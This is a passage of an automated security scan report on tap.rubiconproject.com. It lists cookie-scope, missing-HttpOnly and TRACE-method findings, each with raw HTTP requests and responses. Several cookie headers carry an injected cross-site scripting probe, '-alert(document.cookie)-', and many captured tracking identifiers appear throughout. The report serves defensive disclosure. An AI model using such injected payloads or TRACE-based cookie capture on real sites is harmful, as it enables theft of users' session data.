Cookie: put_1902=pFrKmPYNzMy9Ccea81vSnagHy5-9D53Np1zmR_H3; lm="5 Mar 2011 00:09:20 GMT"; ses15=7477^1&13531^1&12005^1; rdk9=1; put_2132=439524AE836A5E4D157CECA302E891CB; xdp_ti="5 Mar 2011 00:09:20 GMT"; put_2025=a7d02798-393f-4104-ada5-fc2c44a755c0; csi9=3172580.js^1^1299545794^1299545794&3194819.js^1^1299460723^1299460723; put_1185=8392341830659049202; rpb=4940%3D1%262341%3D1%265557%3D1%263049%3D1%266147%3D1%265901%3D1%264222%3D1%264894%3D1%266286%3D1%264214%3D1%264554%3D1%265573%3D1%265575%3D1%262188%3D1%263748%3D1%266195%3D1%266198%3D1%262028%3D1%265671%3D1%262372%3D1%265328%3D1; rdk=7469/12005; put_1523=99c93c82-afc1-4f06-bdc1-8fb83dd4c018; put_2081=KH-00000000549735899; csi15=3172581.js^1^1299459402^1299459402&3193851.js^2^1299380258^1299434520&3175993.js^1^1299380257^1299380257; __utma=58628265.419258632.1299283361.1299283361.1299330390.2; rsid=FcGERCD9s4JUW/TrcU4Dz61qa66Y1k1ire2YJBmN8SN4G8GheDmUSJ4NHOc49cA03rZJzx16pB3UdIwsGOQ+PP8TzZUxGDmBad2r6N25AKxdPo9e; dq=14|3|11|0; put_1994=6pgp44i37uxw; SERVERID=; __unam=84b15f2-12e8352bcfa-25f8d37f-6; __utmz=58628265.1299283361.1.1.utmcsr=assets.rubiconproject.com|utmccn=(referral)|utmcmd=referral|utmcct=/; put_2100=usr3fe6528d7df33180; put_1430=20108b4d-f8d0-4008-b157-1529097b61ab; put_1197=3346767141746773094; au=GKFXS0FR-AL95-10.250.119.239; khaos=GKFXT7RL-D-D539; ruid=dd0a2"-alert(document.cookie)-"693757dd992^2^1299459402^2915161843; ses9=13531^1&12005^1; csi2=3172579.js^1^1299460672^1299460672&3193850.js^1^1299380258^1299380258&3086939.js^1^1299380252^1299380252; put_1986=4470455573253905340; put_1512=4d5b2371-3928-7a83-24fb-d52328f5624b; __qca=P0-813227877-1299460762554; ses2=7477^37&12005^1; cd=false;

Response

HTTP/1.1 204 No Content
Date: Tue, 08 Mar 2011 12:15:03 GMT
Server: TRP Apache-Coyote/1.1
p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Cache-Control: no-cache
Expires: Tue, 01 Jan 2008 00:12:30 GMT
Cache-control: private
Set-Cookie: cd=false; Domain=.rubiconproject.com; Expires=Wed, 07-Mar-2012 12:15:03 GMT; Path=/
Set-Cookie: dq=15|3|12|0; Expires=Wed, 07-Mar-2012 12:15:03 GMT; Path=/
Set-Cookie: cd=false; Domain=.rubiconproject.com; Expires=Wed, 07-Mar-2012 12:15:03 GMT; Path=/
Set-Cookie: lm="8 Mar 2011 12:15:03 GMT"; Version=1; Domain=.rubiconproject.com; Max-Age=31536000; Path=/
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8


4.2. http://tap.rubiconproject.com/partner/agent/rubicon/channels.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://tap.rubiconproject.com
Path:   /partner/agent/rubicon/channels.js

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /partner/agent/rubicon/channels.js?cb=oz_onPixelsLoaded&pc=7469/12005 HTTP/1.1
Host: tap.rubiconproject.com
Proxy-Connection: keep-alive
Referer: http://optimized-by.rubiconproject.com/a/7469/12005/20615-9.html?
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: au=GKFXS0FR-AL95-10.250.119.239; put_2081=KH-00000000549735899; put_2025=a7d02798-393f-4104-ada5-fc2c44a755c0; put_1994=6pgp44i37uxw; put_1523=99c93c82-afc1-4f06-bdc1-8fb83dd4c018; put_2100=usr3fe6528d7df33180; put_1902=pFrKmPYNzMy9Ccea81vSnagHy5-9D53Np1zmR_H3; __utmz=58628265.1299283361.1.1.utmcsr=assets.rubiconproject.com|utmccn=(referral)|utmcmd=referral|utmcct=/; put_1512=4d5b2371-3928-7a83-24fb-d52328f5624b; put_1185=8392341830659049202; put_1986=4470455573253905340; put_2132=439524AE836A5E4D157CECA302E891CB; put_1197=3346767141746773094; xdp_ti="5 Mar 2011 00:09:20 GMT"; lm="5 Mar 2011 00:09:20 GMT"; khaos=GKFXT7RL-D-D539; cd=false; dq=12|3|9|0; put_1430=20108b4d-f8d0-4008-b157-1529097b61ab; __unam=84b15f2-12e8352bcfa-25f8d37f-6; __utma=58628265.419258632.1299283361.1299283361.1299330390.2; ruid=dd0a2"-alert(document.cookie)-"693757dd992^2^1299459402^2915161843; rsid=FcGERCD9s4JUW/TrcU4Dz61qa66Y1k1ire2YJBmN8SN4G8GheDmUSJ4NHOc49cA03rZJzx16pB3UdIwsGOQ+PP8TzZUxGDmBad2r6N25AKxdPo9e; ses15=7477^1&13531^1&12005^1; csi15=3172581.js^1^1299459402^1299459402&3193851.js^2^1299380258^1299434520&3175993.js^1^1299380257^1299380257; ses2=7477^37&12005^1; csi2=3172579.js^1^1299460672^1299460672&3193850.js^1^1299380258^1299380258&3086939.js^1^1299380252^1299380252; rdk=7469/12005; rdk9=1; ses9=13531^1&12005^1; csi9=1491388.js^1^1299460723^1299460723&3194819.js^1^1299460723^1299460723&3195084.js^1^1299434501^1299434501; __qca=P0-813227877-1299460762554; rpb=5671%3D1%265328%3D1%264940%3D1%262341%3D1%265557%3D1%263049%3D1%266198%3D1%266147%3D1%265901%3D1%264222%3D1%264894%3D1%266286%3D1%264214%3D1%262372%3D1%263169%3D1%262196%3D1%262111%3D1%262374%3D1%264554%3D1%265573%3D1%265575%3D1%262188%3D1%263748%3D1%266195%3D1

Response

HTTP/1.1 200 OK
Date: Mon, 07 Mar 2011 01:51:24 GMT
Server: TRP Apache-Coyote/1.1
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/javascript;charset=UTF-8
Content-Length: 933
Cache-control: private
Set-Cookie: khaos=GKFXT7RL-D-D539; Domain=.rubiconproject.com; Expires=Tue, 05-Mar-2019 01:51:24 GMT; Path=/
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Connection: close


var oo_profile={
tokenType : "0",
tracking : "",
tags : "Beauty,Arts and Entertainment,Family and Parenting,Education,Hobbies and Interests,Swing Voters",
tagcloud : [
{ tag: "Beauty"
...[SNIP]...

5. Cookie without HttpOnly flag set  previous  next
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



5.1. http://tap.rubiconproject.com/oz/sensor  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://tap.rubiconproject.com
Path:   /oz/sensor

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /oz/sensor HTTP/1.1
Host: tap.rubiconproject.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: put_1902=pFrKmPYNzMy9Ccea81vSnagHy5-9D53Np1zmR_H3; lm="5 Mar 2011 00:09:20 GMT"; ses15=7477^1&13531^1&12005^1; rdk9=1; put_2132=439524AE836A5E4D157CECA302E891CB; xdp_ti="5 Mar 2011 00:09:20 GMT"; put_2025=a7d02798-393f-4104-ada5-fc2c44a755c0; csi9=3172580.js^1^1299545794^1299545794&3194819.js^1^1299460723^1299460723; put_1185=8392341830659049202; rpb=4940%3D1%262341%3D1%265557%3D1%263049%3D1%266147%3D1%265901%3D1%264222%3D1%264894%3D1%266286%3D1%264214%3D1%264554%3D1%265573%3D1%265575%3D1%262188%3D1%263748%3D1%266195%3D1%266198%3D1%262028%3D1%265671%3D1%262372%3D1%265328%3D1; rdk=7469/12005; put_1523=99c93c82-afc1-4f06-bdc1-8fb83dd4c018; put_2081=KH-00000000549735899; csi15=3172581.js^1^1299459402^1299459402&3193851.js^2^1299380258^1299434520&3175993.js^1^1299380257^1299380257; __utma=58628265.419258632.1299283361.1299283361.1299330390.2; rsid=FcGERCD9s4JUW/TrcU4Dz61qa66Y1k1ire2YJBmN8SN4G8GheDmUSJ4NHOc49cA03rZJzx16pB3UdIwsGOQ+PP8TzZUxGDmBad2r6N25AKxdPo9e; dq=14|3|11|0; put_1994=6pgp44i37uxw; SERVERID=; __unam=84b15f2-12e8352bcfa-25f8d37f-6; __utmz=58628265.1299283361.1.1.utmcsr=assets.rubiconproject.com|utmccn=(referral)|utmcmd=referral|utmcct=/; put_2100=usr3fe6528d7df33180; put_1430=20108b4d-f8d0-4008-b157-1529097b61ab; put_1197=3346767141746773094; au=GKFXS0FR-AL95-10.250.119.239; khaos=GKFXT7RL-D-D539; ruid=dd0a2"-alert(document.cookie)-"693757dd992^2^1299459402^2915161843; ses9=13531^1&12005^1; csi2=3172579.js^1^1299460672^1299460672&3193850.js^1^1299380258^1299380258&3086939.js^1^1299380252^1299380252; put_1986=4470455573253905340; put_1512=4d5b2371-3928-7a83-24fb-d52328f5624b; __qca=P0-813227877-1299460762554; ses2=7477^37&12005^1; cd=false;

Response

HTTP/1.1 204 No Content
Date: Tue, 08 Mar 2011 12:15:03 GMT
Server: TRP Apache-Coyote/1.1
p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Cache-Control: no-cache
Expires: Tue, 01 Jan 2008 00:12:30 GMT
Cache-control: private
Set-Cookie: cd=false; Domain=.rubiconproject.com; Expires=Wed, 07-Mar-2012 12:15:03 GMT; Path=/
Set-Cookie: dq=15|3|12|0; Expires=Wed, 07-Mar-2012 12:15:03 GMT; Path=/
Set-Cookie: cd=false; Domain=.rubiconproject.com; Expires=Wed, 07-Mar-2012 12:15:03 GMT; Path=/
Set-Cookie: lm="8 Mar 2011 12:15:03 GMT"; Version=1; Domain=.rubiconproject.com; Max-Age=31536000; Path=/
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8


5.2. http://tap.rubiconproject.com/partner/agent/rubicon/channels.js  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://tap.rubiconproject.com
Path:   /partner/agent/rubicon/channels.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /partner/agent/rubicon/channels.js?cb=oz_onPixelsLoaded&pc=7469/12005 HTTP/1.1
Host: tap.rubiconproject.com
Proxy-Connection: keep-alive
Referer: http://optimized-by.rubiconproject.com/a/7469/12005/20615-9.html?
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: au=GKFXS0FR-AL95-10.250.119.239; put_2081=KH-00000000549735899; put_2025=a7d02798-393f-4104-ada5-fc2c44a755c0; put_1994=6pgp44i37uxw; put_1523=99c93c82-afc1-4f06-bdc1-8fb83dd4c018; put_2100=usr3fe6528d7df33180; put_1902=pFrKmPYNzMy9Ccea81vSnagHy5-9D53Np1zmR_H3; __utmz=58628265.1299283361.1.1.utmcsr=assets.rubiconproject.com|utmccn=(referral)|utmcmd=referral|utmcct=/; put_1512=4d5b2371-3928-7a83-24fb-d52328f5624b; put_1185=8392341830659049202; put_1986=4470455573253905340; put_2132=439524AE836A5E4D157CECA302E891CB; put_1197=3346767141746773094; xdp_ti="5 Mar 2011 00:09:20 GMT"; lm="5 Mar 2011 00:09:20 GMT"; khaos=GKFXT7RL-D-D539; cd=false; dq=12|3|9|0; put_1430=20108b4d-f8d0-4008-b157-1529097b61ab; __unam=84b15f2-12e8352bcfa-25f8d37f-6; __utma=58628265.419258632.1299283361.1299283361.1299330390.2; ruid=dd0a2"-alert(document.cookie)-"693757dd992^2^1299459402^2915161843; rsid=FcGERCD9s4JUW/TrcU4Dz61qa66Y1k1ire2YJBmN8SN4G8GheDmUSJ4NHOc49cA03rZJzx16pB3UdIwsGOQ+PP8TzZUxGDmBad2r6N25AKxdPo9e; ses15=7477^1&13531^1&12005^1; csi15=3172581.js^1^1299459402^1299459402&3193851.js^2^1299380258^1299434520&3175993.js^1^1299380257^1299380257; ses2=7477^37&12005^1; csi2=3172579.js^1^1299460672^1299460672&3193850.js^1^1299380258^1299380258&3086939.js^1^1299380252^1299380252; rdk=7469/12005; rdk9=1; ses9=13531^1&12005^1; csi9=1491388.js^1^1299460723^1299460723&3194819.js^1^1299460723^1299460723&3195084.js^1^1299434501^1299434501; __qca=P0-813227877-1299460762554; rpb=5671%3D1%265328%3D1%264940%3D1%262341%3D1%265557%3D1%263049%3D1%266198%3D1%266147%3D1%265901%3D1%264222%3D1%264894%3D1%266286%3D1%264214%3D1%262372%3D1%263169%3D1%262196%3D1%262111%3D1%262374%3D1%264554%3D1%265573%3D1%265575%3D1%262188%3D1%263748%3D1%266195%3D1

Response

HTTP/1.1 200 OK
Date: Mon, 07 Mar 2011 01:51:24 GMT
Server: TRP Apache-Coyote/1.1
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/javascript;charset=UTF-8
Content-Length: 933
Cache-control: private
Set-Cookie: khaos=GKFXT7RL-D-D539; Domain=.rubiconproject.com; Expires=Tue, 05-Mar-2019 01:51:24 GMT; Path=/
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Connection: close


var oo_profile={
tokenType : "0",
tracking : "",
tags : "Beauty,Arts and Entertainment,Family and Parenting,Education,Hobbies and Interests,Swing Voters",
tagcloud : [
{ tag: "Beauty"
...[SNIP]...

6. TRACE method is enabled  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://tap.rubiconproject.com
Path:   /

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: tap.rubiconproject.com
Cookie: a0e8b5a1807c953

Response

HTTP/1.1 200 OK
Date: Mon, 07 Mar 2011 01:51:24 GMT
Server: Apache/2.2.3 (CentOS)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: tap.rubiconproject.com
Cookie: a0e8b5a1807c953


Report generated by XSS.CX at Tue Mar 08 07:50:33 CST 2011.